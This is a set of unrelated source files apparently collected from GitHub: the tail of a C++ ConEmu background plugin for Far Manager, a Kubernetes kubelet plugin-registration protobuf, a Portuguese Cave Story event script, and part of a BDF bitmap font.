SelectObject(hBackDC, hOldBackBmp);
DeleteObject(hBackBmp);
DeleteDC(hBackDC);
ReleaseDC(0, hScreenDC);
#endif
}
}
}
SetBkMode(pBk->hdc, TRANSPARENT);
SetTextColor(pBk->hdc, *pDraw->crDark);
DrawText(pBk->hdc, pDraw->szText, -1, &rcText, DT_HIDEPREFIX|DT_RIGHT|DT_SINGLELINE|DT_TOP);
/*
OffsetRect(&rcText, 0, LINE_SHIFT_Y);
swprintf_c(szText, L"Volume: «%s» %s, Format: «%s»", szVolume, szVolumeSize, bkInfo->szFormat ? bkInfo->szFormat : L"");
DrawText(pBk->hdc, szText, -1, &rcText, DT_HIDEPREFIX|DT_RIGHT|DT_SINGLELINE|DT_TOP);
OffsetRect(&rcText, 0, LINE_SHIFT_Y);
if (bkInfo->szCurDir)
DrawText(pBk->hdc, bkInfo->szCurDir, -1, &rcText, DT_HIDEPREFIX|DT_RIGHT|DT_SINGLELINE|DT_TOP|DT_PATH_ELLIPSIS);
OffsetRect(&rcText, 0, LINE_SHIFT_Y);
*/
TODO("В Far3 можно и в плагинах свободное место получить");
if (bProgressAllowed && pDraw->nSpaceBar == DrawInfo::dib_Off)
bProgressAllowed = FALSE;
if (bProgressAllowed && (nStatusLines > 0) && !bkInfo->bPlugin && llTotalSize.QuadPart)
{
//llTotalSize = {},
HBRUSH hUsedBr = CreateSolidBrush(*pDraw->crLight);
HBRUSH hFreeBr = CreateSolidBrush(*pDraw->crDark);
RECT rcUsed = (pDraw->nSpaceBar == DrawInfo::dib_Small) ? rcWork : rcPanel;
int iShift = (pDraw->nSpaceBar == DrawInfo::dib_Small) ? 0 : 2;
rcUsed.top = rcUsed.bottom - (nStatusLines+iShift) * ((rcPanel.bottom - rcPanel.top + 1) / nPanelHeight);
rcUsed.right = rcUsed.right - (int)((uint64_t)(rcUsed.right - rcUsed.left + 1) * llFreeSize.QuadPart / llTotalSize.QuadPart);
if (rcUsed.right > rcWork.right)
{
_ASSERTE(rcUsed.right <= rcWork.right);
rcUsed.right = rcWork.right;
}
else if (rcUsed.right < rcWork.left)
{
_ASSERTE(rcUsed.right >= rcWork.left);
rcUsed.right = rcWork.left;
}
RECT rcFree = rcUsed;
rcFree.left = rcUsed.right;
rcFree.right = (pDraw->nSpaceBar == DrawInfo::dib_Small) ? rcWork.right : rcPanel.right;
FillRect(pBk->hdc, &rcFree, hFreeBr);
FillRect(pBk->hdc, &rcUsed, hUsedBr);
DeleteObject(hUsedBr);
DeleteObject(hFreeBr);
}
SelectObject(pBk->hdc, hOldFont);
DeleteObject(hText);
}
// Free pointers
free(pDraw);
free(szVolume);
free(szVolumeSize);
free(szVolumeFree);
return TRUE;
}
int WINAPI PaintConEmuBackground(struct PaintBackgroundArg* pBk)
{
int iLeftRc = 0, iRightRc = 0;
if (pBk->Place == pbp_Finalize)
{
GdipDone();
return TRUE;
}
if (!gbGdiPlusInitialized)
{
if (!GdipInit())
{
return FALSE;
}
}
else
{
// Проверить, может содержимое xml-ки изменилось?
CheckXmlFile();
}
wchar_t szDbg[128];
COLORREF crOtherColor = (COLORREF)-1;
int cOtherDrive = -1;
if (pBk->LeftPanel.bVisible)
{
iLeftRc = PaintPanel(pBk, TRUE/*bLeft*/, crOtherColor, cOtherDrive);
}
else
{
RECT rcConPanel = pBk->LeftPanel.rcPanelRect;
swprintf_c(szDbg, L"ConEmuBk: Invisible Left - {%i,%i,%i,%i)\n",
rcConPanel.left, rcConPanel.top, rcConPanel.right, rcConPanel.bottom);
DBGSTR(szDbg);
}
if (pBk->RightPanel.bVisible)
{
iRightRc = PaintPanel(pBk, FALSE/*bLeft*/, crOtherColor, cOtherDrive);
}
else
{
RECT rcConPanel = pBk->RightPanel.rcPanelRect;
swprintf_c(szDbg, L"ConEmuBk: Invisible Right - {%i,%i,%i,%i)\n",
rcConPanel.left, rcConPanel.top, rcConPanel.right, rcConPanel.bottom);
DBGSTR(szDbg);
}
UNREFERENCED_PARAMETER(iLeftRc); UNREFERENCED_PARAMETER(iRightRc);
return TRUE;
//DWORD nPanelBackIdx = (pBk->nFarColors[col_PanelText] & 0xF0) >> 4;
//
//if (bDragBackground)
//{
// if (pBk->LeftPanel.bVisible)
// {
// COLORREF crPanel = pBk->crPalette[nPanelBackIdx];
//
// if (pBk->LeftPanel.bPlugin && gbHilightPlugins)
// crPanel = gcrHilightPlugBack;
//
// HBRUSH hBr = CreateSolidBrush(crPanel);
// FillRect(pBk->hdc, &pBk->rcDcLeft, hBr);
// DeleteObject(hBr);
// }
//
// if (pBk->RightPanel.bVisible)
// {
// COLORREF crPanel = pBk->crPalette[nPanelBackIdx];
//
// if (pBk->RightPanel.bPlugin && gbHilightPlugins)
// crPanel = gcrHilightPlugBack;
//
// HBRUSH hBr = CreateSolidBrush(crPanel);
// FillRect(pBk->hdc, &pBk->rcDcRight, hBr);
// DeleteObject(hBr);
// }
//}
//
//if ((pBk->LeftPanel.bVisible || pBk->RightPanel.bVisible) /*&& pBk->MainFont.nFontHeight>0*/)
//{
// HPEN hPen = CreatePen(PS_SOLID, 1, gcrLinesColor);
// HPEN hOldPen = (HPEN)SelectObject(pBk->hdc, hPen);
// HBRUSH hBrush = CreateSolidBrush(gcrLinesColor);
// int nCellHeight = 12;
//
// if (pBk->LeftPanel.bVisible)
// nCellHeight = pBk->rcDcLeft.bottom / (pBk->LeftPanel.rcPanelRect.bottom - pBk->LeftPanel.rcPanelRect.top + 1);
// else
// nCellHeight = pBk->rcDcRight.bottom / (pBk->RightPanel.rcPanelRect.bottom - pBk->RightPanel.rcPanelRect.top + 1);
//
// int nY1 = (pBk->LeftPanel.bVisible) ? pBk->rcDcLeft.top : pBk->rcDcRight.top;
// int nY2 = (pBk->rcDcLeft.bottom >= pBk->rcDcRight.bottom) ? pBk->rcDcLeft.bottom : pBk->rcDcRight.bottom;
// int nX1 = (pBk->LeftPanel.bVisible) ? 0 : pBk->rcDcRight.left;
// int nX2 = (pBk->RightPanel.bVisible) ? pBk->rcDcRight.right : pBk->rcDcLeft.right;
//
// bool bDrawStipe = true;
//
// for(int Y = nY1; Y < nY2; Y += nCellHeight)
// {
// if (giHilightType == 0)
// {
// MoveToEx(pBk->hdc, nX1, Y, NULL);
// LineTo(pBk->hdc, nX2, Y);
// }
// else if (giHilightType == 1)
// {
// if (bDrawStipe)
// {
// bDrawStipe = false;
// RECT rc = {nX1, Y - nCellHeight + 1, nX2, Y};
// FillRect(pBk->hdc, &rc, hBrush);
// }
// else
// {
// bDrawStipe = true;
// }
// }
// }
//
// SelectObject(pBk->hdc, hOldPen);
// DeleteObject(hPen);
// DeleteObject(hBrush);
//}
//
//return TRUE;
}
void WINAPI OnConEmuLoaded(struct ConEmuLoadedArg* pConEmuInfo)
{
gfRegisterBackground = pConEmuInfo->RegisterBackground;
ghPluginModule = pConEmuInfo->hPlugin;
if (gfRegisterBackground && gbBackgroundEnabled)
{
StartPlugin(FALSE/*считать параметры из реестра*/);
}
}
void SettingsLoad()
{
if (!gbSetStartupInfoOk)
{
_ASSERTE(gbSetStartupInfoOk);
return;
}
if (!*gsXmlConfigFile)
{
lstrcpyn(gsXmlConfigFile, szDefaultXmlName, countof(gsXmlConfigFile));
}
if (gFarVersion.dwVerMajor == 1)
SettingsLoadA();
else if (gFarVersion.dwBuild >= FAR_Y2_VER)
FUNC_Y2(SettingsLoadW)();
else if (gFarVersion.dwBuild >= FAR_Y1_VER)
FUNC_Y1(SettingsLoadW)();
else
FUNC_X(SettingsLoadW)();
}
void SettingsLoadReg(LPCWSTR pszRegKey)
{
HKEY hkey = NULL;
if (!RegOpenKeyExW(HKEY_CURRENT_USER, pszRegKey, 0, KEY_READ, &hkey))
{
DWORD nVal, nType, nSize; BYTE cVal;
for (ConEmuBgSettings *p = gSettings; p->pszValueName; p++)
{
if (p->nValueType == REG_BINARY)
{
_ASSERTE(p->nValueSize == 1);
if (!RegQueryValueExW(hkey, p->pszValueName, 0, &(nType = REG_BINARY), &cVal, &(nSize = sizeof(cVal))))
*((BOOL*)p->pValue) = (cVal != 0);
}
else if (p->nValueType == REG_DWORD)
{
_ASSERTE(p->nValueSize == 4);
if (!RegQueryValueExW(hkey, p->pszValueName, 0, &(nType = REG_DWORD), (LPBYTE)&nVal, &(nSize = sizeof(nVal))))
*((DWORD*)p->pValue) = nVal;
}
else if (p->nValueType == REG_SZ)
{
wchar_t szValue[MAX_PATH] = {};
if (!RegQueryValueExW(hkey, p->pszValueName, 0, &(nType = REG_SZ), (LPBYTE)szValue, &(nSize = sizeof(szValue))))
lstrcpyn((wchar_t*)p->pValue, szValue, p->nValueSize);
}
}
RegCloseKey(hkey);
}
}
void SettingsSave()
{
if (gFarVersion.dwVerMajor == 1)
SettingsSaveA();
else if (gFarVersion.dwBuild >= FAR_Y2_VER)
FUNC_Y2(SettingsSaveW)();
else if (gFarVersion.dwBuild >= FAR_Y1_VER)
FUNC_Y1(SettingsSaveW)();
else
FUNC_X(SettingsSaveW)();
}
void SettingsSaveReg(LPCWSTR pszRegKey)
{
HKEY hkey = NULL;
if (!RegCreateKeyExW(HKEY_CURRENT_USER, pszRegKey, 0, 0, 0, KEY_ALL_ACCESS, 0, &hkey, NULL))
{
BYTE cVal;
for (ConEmuBgSettings *p = gSettings; p->pszValueName; p++)
{
if (p->nValueType == REG_BINARY)
{
_ASSERTE(p->nValueSize == 1);
cVal = (BYTE)*(BOOL*)p->pValue;
RegSetValueExW(hkey, p->pszValueName, 0, REG_BINARY, &cVal, sizeof(cVal));
}
else if (p->nValueType == REG_DWORD)
{
_ASSERTE(p->nValueSize == 4);
RegSetValueExW(hkey, p->pszValueName, 0, REG_DWORD, p->pValue, p->nValueSize);
}
else if (p->nValueType == REG_SZ)
{
RegSetValueExW(hkey, p->pszValueName, 0, REG_SZ, p->pValue, sizeof(wchar_t)*(1+lstrlenW((wchar_t*)p->pValue)));
}
}
RegCloseKey(hkey);
}
}
void StartPlugin(BOOL bConfigure)
{
if (gbInStartPlugin)
{
// Вложенных вызовов быть не должно
_ASSERTE(gbInStartPlugin==false);
return;
}
gbInStartPlugin = true;
if (!XmlFile.cr)
{
XmlFile.cr = new MSectionSimple(true);
}
if (!bConfigure)
{
SettingsLoad();
}
static bool bWasRegistered = false;
if (gfRegisterBackground)
{
if (gbBackgroundEnabled)
{
if (bConfigure && bWasRegistered)
{
RegisterBackgroundArg upd = {sizeof(RegisterBackgroundArg), rbc_Redraw};
gfRegisterBackground(&upd);
}
else
{
RegisterBackgroundArg reg = {sizeof(RegisterBackgroundArg), rbc_Register, ghPluginModule};
reg.PaintConEmuBackground = ::PaintConEmuBackground;
reg.dwPlaces = pbp_Panels;
reg.dwSuggestedLevel = 0;
gfRegisterBackground(®);
bWasRegistered = true;
}
}
else
{
RegisterBackgroundArg unreg = {sizeof(RegisterBackgroundArg), rbc_Unregister, ghPluginModule};
gfRegisterBackground(&unreg);
bWasRegistered = false;
}
}
else
{
bWasRegistered = false;
}
// Вернуть флаг обратно
gbInStartPlugin = false;
}
void ExitPlugin(void)
{
if (gfRegisterBackground != NULL)
{
RegisterBackgroundArg inf = {sizeof(RegisterBackgroundArg), rbc_Unregister, ghPluginModule};
gfRegisterBackground(&inf);
}
// Вообще-то это нужно делать в нити отрисовки, но на всякий случай, дернем здесь (LastChance)
GdipDone();
gbSetStartupInfoOk = false;
}
void WINAPI ExitFARW(void)
{
ExitPlugin();
if (gFarVersion.dwBuild>=FAR_Y2_VER)
FUNC_Y2(ExitFARW)();
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
FUNC_Y1(ExitFARW)();
else
FUNC_X(ExitFARW)();
}
void WINAPI ExitFARW3(void*)
{
ExitPlugin();
if (gFarVersion.dwBuild>=FAR_Y2_VER)
FUNC_Y2(ExitFARW)();
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
FUNC_Y1(ExitFARW)();
else
FUNC_X(ExitFARW)();
}
LPCWSTR GetMsgW(int aiMsg)
{
if (gFarVersion.dwVerMajor==1)
return L"";
else if (gFarVersion.dwBuild>=FAR_Y2_VER)
return FUNC_Y2(GetMsgW)(aiMsg);
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
return FUNC_Y1(GetMsgW)(aiMsg);
else
return FUNC_X(GetMsgW)(aiMsg);
}
HANDLE WINAPI OpenW(const void* Info)
{
HANDLE hResult = NULL;
if (gFarVersion.dwBuild>=FAR_Y2_VER)
hResult = FUNC_Y2(OpenW)(Info);
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
hResult = FUNC_Y1(OpenW)(Info);
else
{
_ASSERTE(FALSE && "Must not called in Far2");
}
return hResult;
}
int WINAPI ConfigureW(int ItemNumber)
{
if (gFarVersion.dwVerMajor==1)
return false;
else if (gFarVersion.dwBuild>=FAR_Y2_VER)
return FUNC_Y2(ConfigureW)(ItemNumber);
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
return FUNC_Y1(ConfigureW)(ItemNumber);
else
return FUNC_X(ConfigureW)(ItemNumber);
}
int WINAPI ConfigureW3(void*)
{
if (gFarVersion.dwVerMajor==1)
return false;
else if (gFarVersion.dwBuild>=FAR_Y2_VER)
return FUNC_Y2(ConfigureW)(0);
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
return FUNC_Y1(ConfigureW)(0);
else
return FUNC_X(ConfigureW)(0);
}
HANDLE OpenPluginWcmn(int OpenFrom,INT_PTR Item)
{
HANDLE hResult = (gFarVersion.dwVerMajor >= 3) ? NULL : INVALID_HANDLE_VALUE;
if (!gbInfoW_OK)
return hResult;
ConfigureW(0);
return hResult;
}
bool FMatch(LPCWSTR asMask, LPWSTR asPath)
{
if (!asMask || !asPath)
return false;
if ((*asMask && !*asPath) || (*asPath && !*asMask))
return false;
if (gFarVersion.dwVerMajor==1)
{
bool lbRc = false;
int nMaskLen = lstrlenW(asMask);
char* pszMask = (char*)malloc(nMaskLen+1);
int nPathLen = lstrlenW(asPath);
char* pszPath = (char*)malloc(nPathLen+1);
if (pszMask && pszPath)
{
WideCharToMultiByte(CP_ACP, 0, asMask, nMaskLen+1, pszMask, nMaskLen+1, 0,0);
WideCharToMultiByte(CP_ACP, 0, asPath, nPathLen+1, pszPath, nPathLen+1, 0,0);
lbRc = FMatchA(pszMask, pszPath);
}
if (pszMask)
free(pszMask);
if (pszPath)
free(pszPath);
return lbRc;
}
else if (gFarVersion.dwBuild>=FAR_Y2_VER)
return FUNC_Y2(FMatchW)(asMask, asPath);
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
return FUNC_Y1(FMatchW)(asMask, asPath);
else
return FUNC_X(FMatchW)(asMask, asPath);
}
int GetMacroArea()
{
int nMacroArea = 0/*MACROAREA_OTHER*/;
if (gFarVersion.dwVerMajor==1)
{
_ASSERTE(gFarVersion.dwVerMajor>1);
nMacroArea = 1; // в Far 1.7x не поддерживается
}
else if (gFarVersion.dwBuild>=FAR_Y2_VER)
nMacroArea = FUNC_Y2(GetMacroAreaW)();
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
nMacroArea = FUNC_Y1(GetMacroAreaW)();
else
nMacroArea = FUNC_X(GetMacroAreaW)();
return nMacroArea;
}
|
{
"pile_set_name": "Github"
}
|
// To regenerate api.pb.go run hack/update-generated-kubelet-plugin-registration.sh
syntax = 'proto3';
package pluginregistration;
import "github.com/gogo/protobuf/gogoproto/gogo.proto";
option (gogoproto.goproto_stringer_all) = false;
option (gogoproto.stringer_all) = true;
option (gogoproto.goproto_getters_all) = true;
option (gogoproto.marshaler_all) = true;
option (gogoproto.sizer_all) = true;
option (gogoproto.unmarshaler_all) = true;
option (gogoproto.goproto_unrecognized_all) = false;
// PluginInfo is the message sent from a plugin to the Kubelet pluginwatcher for plugin registration
message PluginInfo {
// Type of the Plugin. CSIPlugin or DevicePlugin
string type = 1;
// Plugin name that uniquely identifies the plugin for the given plugin type.
// For DevicePlugin, this is the resource name that the plugin manages and
// should follow the extended resource name convention.
// For CSI, this is the CSI driver registrar name.
string name = 2;
// Optional endpoint location. If found set by Kubelet component,
// Kubelet component will use this endpoint for specific requests.
// This allows the plugin to register using one endpoint and possibly use
// a different socket for control operations. CSI uses this model to delegate
// its registration external from the plugin.
string endpoint = 3;
// Plugin service API versions the plugin supports.
// For DevicePlugin, this maps to the deviceplugin API versions the
// plugin supports at the given socket.
// The Kubelet component communicating with the plugin should be able
// to choose any preferred version from this list, or returns an error
// if none of the listed versions is supported.
repeated string supported_versions = 4;
}
// RegistrationStatus is the message sent from Kubelet pluginwatcher to the plugin for notification on registration status
message RegistrationStatus {
// True if plugin gets registered successfully at Kubelet
bool plugin_registered = 1;
// Error message in case plugin fails to register, empty string otherwise
string error = 2;
}
// RegistrationStatusResponse is sent by plugin to kubelet in response to RegistrationStatus RPC
message RegistrationStatusResponse {
}
// InfoRequest is the empty request message from Kubelet
message InfoRequest {
}
// Registration is the service advertised by the Plugins.
service Registration {
rpc GetInfo(InfoRequest) returns (PluginInfo) {}
rpc NotifyRegistrationStatus(RegistrationStatus) returns (RegistrationStatusResponse) {}
}
|
{
"pile_set_name": "Github"
}
|
#0090
<MNA<CMU0000<FAI0000<END
#0091
<MNA<CMU0000<FAI0001<END
#0092
<MNA<CMU0000<FAI0002<END
#0093
<MNA<CMU0000<FAI0003<END
#0094
<MNA<CMU0000<FAI0004<END
#0100
<KEY<FAO0002<TRA0053:0092:0008:0121
#0200
<KEY<FLJ1042:0201
<MSGNão abre...<NOD<END
#0201
<KEY<FLJ1700:0202<FL+1700<SOU0022<CNP0200:0021:0000
<MSGAbriste a arca do tesouro.<NOD<GIT1022<IT+0022<CLR<CMU0010Encontraste o =Contador Nikumaru=!<WAI0160<NOD<RMU<EVE0202
#0202
<KEY<MSGEstá algo escrito aqui...<NOD<CLR<TUREste item é um tributo
à tua determinação. Glória a todos
os desafiadores determinados!<NOD<END
|
{
"pile_set_name": "Github"
}
|
STARTFONT 2.1
COMMENT This font is a free software.
COMMENT Unlimited permission is granted to use, copy, and distribute it,
COMMENT with or without modification, either commercially and noncommercially.
COMMENT THIS FONT IS PROVIDED "AS IS" WITHOUT WARRANTY.
FONT -mplus-hlv-medium-R-normal--10-100-75-75-P-50-iso8859-1
SIZE 10 75 75
FONTBOUNDINGBOX 9 11 0 -2
STARTPROPERTIES 20
FONTNAME_REGISTRY ""
FOUNDRY "mplus"
FAMILY_NAME "hlv"
WEIGHT_NAME "medium"
SLANT "R"
SETWIDTH_NAME "normal"
ADD_STYLE_NAME ""
PIXEL_SIZE 10
POINT_SIZE 100
RESOLUTION_X 75
RESOLUTION_Y 75
SPACING "P"
AVERAGE_WIDTH 50
CHARSET_REGISTRY "iso8859"
CHARSET_ENCODING "1"
COPYRIGHT "Copyright (C) 2002-2004 COZ"
DEFAULT_CHAR 32
FONT_DESCENT 3
FONT_ASCENT 9
_XMBDFED_INFO "Edited with xmbdfed 4.5."
ENDPROPERTIES
CHARS 192
STARTCHAR 0x0020
ENCODING 32
SWIDTH 480 0
DWIDTH 5 0
BBX 0 0 0 0
BITMAP
ENDCHAR
STARTCHAR 0x0021
ENCODING 33
SWIDTH 384 0
DWIDTH 4 0
BBX 1 7 1 0
BITMAP
80
80
80
80
80
00
80
ENDCHAR
STARTCHAR 0x0022
ENCODING 34
SWIDTH 576 0
DWIDTH 6 0
BBX 3 3 1 5
BITMAP
A0
A0
A0
ENDCHAR
STARTCHAR 0x0023
ENCODING 35
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
50
50
F8
50
F8
50
50
ENDCHAR
STARTCHAR 0x0024
ENCODING 36
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 -1
BITMAP
20
78
A0
70
28
28
F0
20
ENDCHAR
STARTCHAR 0x0025
ENCODING 37
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
C0
C8
10
20
40
98
18
ENDCHAR
STARTCHAR 0x0026
ENCODING 38
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
60
90
90
68
90
90
68
ENDCHAR
STARTCHAR 0x0027
ENCODING 39
SWIDTH 384 0
DWIDTH 4 0
BBX 1 3 1 5
BITMAP
80
80
80
ENDCHAR
STARTCHAR 0x0028
ENCODING 40
SWIDTH 576 0
DWIDTH 6 0
BBX 3 9 1 -1
BITMAP
20
40
40
80
80
80
40
40
20
ENDCHAR
STARTCHAR 0x0029
ENCODING 41
SWIDTH 576 0
DWIDTH 6 0
BBX 3 9 1 -1
BITMAP
80
40
40
20
20
20
40
40
80
ENDCHAR
STARTCHAR 0x002A
ENCODING 42
SWIDTH 576 0
DWIDTH 6 0
BBX 5 6 0 1
BITMAP
20
A8
70
70
A8
20
ENDCHAR
STARTCHAR 0x002B
ENCODING 43
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 1
BITMAP
20
20
F8
20
20
ENDCHAR
STARTCHAR 0x002C
ENCODING 44
SWIDTH 576 0
DWIDTH 6 0
BBX 2 2 1 -1
BITMAP
40
80
ENDCHAR
STARTCHAR 0x002D
ENCODING 45
SWIDTH 576 0
DWIDTH 6 0
BBX 5 1 0 3
BITMAP
F8
ENDCHAR
STARTCHAR 0x002E
ENCODING 46
SWIDTH 576 0
DWIDTH 6 0
BBX 1 1 2 0
BITMAP
80
ENDCHAR
STARTCHAR 0x002F
ENCODING 47
SWIDTH 672 0
DWIDTH 7 0
BBX 4 8 1 -1
BITMAP
10
10
20
20
40
40
80
80
ENDCHAR
STARTCHAR 0x0030
ENCODING 48
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x0031
ENCODING 49
SWIDTH 576 0
DWIDTH 6 0
BBX 3 7 0 0
BITMAP
20
60
A0
20
20
20
20
ENDCHAR
STARTCHAR 0x0032
ENCODING 50
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
08
30
40
80
F8
ENDCHAR
STARTCHAR 0x0033
ENCODING 51
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
10
20
70
08
88
70
ENDCHAR
STARTCHAR 0x0034
ENCODING 52
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
30
50
90
90
F8
10
10
ENDCHAR
STARTCHAR 0x0035
ENCODING 53
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
80
F0
08
08
88
70
ENDCHAR
STARTCHAR 0x0036
ENCODING 54
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
80
F0
88
88
88
70
ENDCHAR
STARTCHAR 0x0037
ENCODING 55
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
08
10
20
20
40
40
ENDCHAR
STARTCHAR 0x0038
ENCODING 56
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
70
88
88
70
ENDCHAR
STARTCHAR 0x0039
ENCODING 57
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
88
78
08
70
ENDCHAR
STARTCHAR 0x003A
ENCODING 58
SWIDTH 576 0
DWIDTH 6 0
BBX 1 4 2 1
BITMAP
80
00
00
80
ENDCHAR
STARTCHAR 0x003B
ENCODING 59
SWIDTH 576 0
DWIDTH 6 0
BBX 2 5 1 0
BITMAP
40
00
00
40
80
ENDCHAR
STARTCHAR 0x003C
ENCODING 60
SWIDTH 672 0
DWIDTH 7 0
BBX 4 7 1 0
BITMAP
10
20
40
80
40
20
10
ENDCHAR
STARTCHAR 0x003D
ENCODING 61
SWIDTH 576 0
DWIDTH 6 0
BBX 5 3 0 2
BITMAP
F8
00
F8
ENDCHAR
STARTCHAR 0x003E
ENCODING 62
SWIDTH 672 0
DWIDTH 7 0
BBX 4 7 1 0
BITMAP
80
40
20
10
20
40
80
ENDCHAR
STARTCHAR 0x003F
ENCODING 63
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
10
20
00
20
ENDCHAR
STARTCHAR 0x0040
ENCODING 64
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
B8
A8
B8
80
70
ENDCHAR
STARTCHAR 0x0041
ENCODING 65
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
20
50
50
F8
88
88
ENDCHAR
STARTCHAR 0x0042
ENCODING 66
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F0
88
88
F0
88
88
F0
ENDCHAR
STARTCHAR 0x0043
ENCODING 67
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
80
80
80
88
70
ENDCHAR
STARTCHAR 0x0044
ENCODING 68
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F0
88
88
88
88
88
F0
ENDCHAR
STARTCHAR 0x0045
ENCODING 69
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
80
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x0046
ENCODING 70
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
80
80
F0
80
80
80
ENDCHAR
STARTCHAR 0x0047
ENCODING 71
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
80
B8
88
88
78
ENDCHAR
STARTCHAR 0x0048
ENCODING 72
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
88
F8
88
88
88
ENDCHAR
STARTCHAR 0x0049
ENCODING 73
SWIDTH 384 0
DWIDTH 4 0
BBX 1 7 1 0
BITMAP
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x004A
ENCODING 74
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
08
08
08
08
88
88
70
ENDCHAR
STARTCHAR 0x004B
ENCODING 75
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
90
A0
C0
A0
90
88
ENDCHAR
STARTCHAR 0x004C
ENCODING 76
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
80
80
80
80
80
80
F8
ENDCHAR
STARTCHAR 0x004D
ENCODING 77
SWIDTH 768 0
DWIDTH 8 0
BBX 7 7 0 0
BITMAP
82
C6
AA
92
82
82
82
ENDCHAR
STARTCHAR 0x004E
ENCODING 78
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
C8
A8
98
88
88
88
ENDCHAR
STARTCHAR 0x004F
ENCODING 79
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x0050
ENCODING 80
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F0
88
88
F0
80
80
80
ENDCHAR
STARTCHAR 0x0051
ENCODING 81
SWIDTH 576 0
DWIDTH 6 0
BBX 6 9 0 -2
BITMAP
70
88
88
88
88
88
70
10
0C
ENDCHAR
STARTCHAR 0x0052
ENCODING 82
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F0
88
88
F0
88
88
88
ENDCHAR
STARTCHAR 0x0053
ENCODING 83
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
80
70
08
88
70
ENDCHAR
STARTCHAR 0x0054
ENCODING 84
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
20
20
20
20
20
20
ENDCHAR
STARTCHAR 0x0055
ENCODING 85
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x0056
ENCODING 86
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
88
50
50
20
20
ENDCHAR
STARTCHAR 0x0057
ENCODING 87
SWIDTH 960 0
DWIDTH 10 0
BBX 9 7 0 0
BITMAP
8880
8880
4900
5500
5500
2200
2200
ENDCHAR
STARTCHAR 0x0058
ENCODING 88
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
50
20
20
20
50
88
ENDCHAR
STARTCHAR 0x0059
ENCODING 89
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
50
50
20
20
20
ENDCHAR
STARTCHAR 0x005A
ENCODING 90
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
08
10
20
40
80
F8
ENDCHAR
STARTCHAR 0x005B
ENCODING 91
SWIDTH 576 0
DWIDTH 6 0
BBX 3 9 1 -1
BITMAP
E0
80
80
80
80
80
80
80
E0
ENDCHAR
STARTCHAR 0x005C
ENCODING 92
SWIDTH 672 0
DWIDTH 7 0
BBX 4 8 1 -1
BITMAP
80
80
40
40
20
20
10
10
ENDCHAR
STARTCHAR 0x005D
ENCODING 93
SWIDTH 576 0
DWIDTH 6 0
BBX 3 9 1 -1
BITMAP
E0
20
20
20
20
20
20
20
E0
ENDCHAR
STARTCHAR 0x005E
ENCODING 94
SWIDTH 576 0
DWIDTH 6 0
BBX 5 3 0 5
BITMAP
20
50
88
ENDCHAR
STARTCHAR 0x005F
ENCODING 95
SWIDTH 576 0
DWIDTH 6 0
BBX 5 1 0 -1
BITMAP
F8
ENDCHAR
STARTCHAR 0x0060
ENCODING 96
SWIDTH 480 0
DWIDTH 5 0
BBX 2 4 1 4
BITMAP
80
80
40
40
ENDCHAR
STARTCHAR 0x0061
ENCODING 97
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
10
70
90
70
ENDCHAR
